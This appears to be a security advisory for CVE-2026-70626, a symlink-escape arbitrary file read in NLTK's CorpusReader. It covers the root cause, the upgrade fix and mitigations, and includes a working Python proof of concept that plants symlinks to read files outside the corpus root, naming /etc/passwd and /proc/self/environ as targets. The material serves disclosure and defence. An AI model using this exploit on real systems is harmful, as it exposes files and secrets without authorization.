high · 6.2CVE-2026-70626Sep 8, 2026

CVE-2026-70626: NLTK CorpusReader Symlink Escape Arbitrary File Read

Rohit Hatagale
AI Security Researcher, SecureLayer7

NLTK's corpus reader trusts lexical path checks alone, so a symlink planted inside a corpus directory lets anyone read files anywhere on the filesystem that the process can reach.

Packagenltk
Ecosystempip
Affected<= 3.9.3
Fixed in3.9.4

The problem

CorpusReader.open() in nltk/corpus/reader/api.py rejects absolute paths and .. segments, then delegates to FileSystemPathPointer.join() in nltk/data.py.

FileSystemPathPointer.join() verifies containment using os.path.normpath() only. It never calls os.path.realpath(), so a symlink that lives inside the allowed root but points outside it passes the check and returns an open file handle to the target. An attacker who can write one symlink into a corpus directory (extracted dataset, uploaded archive, shared filesystem) can read any file the process can access, including /etc/passwd, /proc/self/environ, and application secrets.

Proof of concept

A working proof-of-concept for CVE-2026-70626 in nltk, with the exact payload below.

python
import os
import tempfile
from nltk.corpus.reader.api import CorpusReader

# Setup: two temp dirs, one is the "corpus root", one is outside it
root = tempfile.mkdtemp(prefix="nltk-root-")
outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
outside_file = os.path.join(outside_dir, "secret.txt")

with open(outside_file, "w") as f:
    f.write("secret-data")

# Plant a symlink inside the corpus root that points to the outside dir
os.symlink(outside_dir, os.path.join(root, "link"))

# CorpusReader sees "link/secret.txt" -- lexically inside root, resolves outside
corpus = CorpusReader(root, ["link/secret.txt"])
with corpus.open("link/secret.txt") as f:
    print(f.read())   # prints: secret-data

# Also works against system files readable by the process:
os.symlink("/etc", os.path.join(root, "hostlink"))
corpus2 = CorpusReader(root, ["hostlink/hostname"])
with corpus2.open("hostlink/hostname") as f:
    print(f.read())   # prints: <hostname of the machine>

The root cause is in FileSystemPathPointer.join() (nltk/data.py line ~398). Before the fix, it computed joined = os.path.normpath(os.path.join(self._path, fileid)) and allowed access if joined.startswith(root). That check is purely lexical and never follows symlinks.

The fix (commit 1b0e519, PR #3522) adds an os.path.realpath() call so both the joined path and the root are fully resolved before comparison. Because realpath() follows every symlink in the chain, "link/secret.txt" resolves to the outside directory and the startswith check fails, raising an error instead of returning the file handle.

This is CWE-59 (Improper Link Resolution Before File Access). The file ID passed by the attacker contains no .. and is not absolute, so all pre-existing guards are bypassed; only symlink resolution closes the gap.

The fix

Upgrade nltk to 3.9.4 or later. The patch is in commit 1b0e519e2324bc1a273d56edee63e44d0ad85b48 (PR #3522): FileSystemPathPointer.join() now resolves both the candidate path and the root with os.path.realpath() before the containment check, preventing symlink escape.

If an immediate upgrade is not possible, audit corpus directories for symlinks before passing them to CorpusReader, and avoid accepting corpus roots from untrusted sources.

Reported by leduckhuong.

References: [1][2][3][4][5][6]

Related research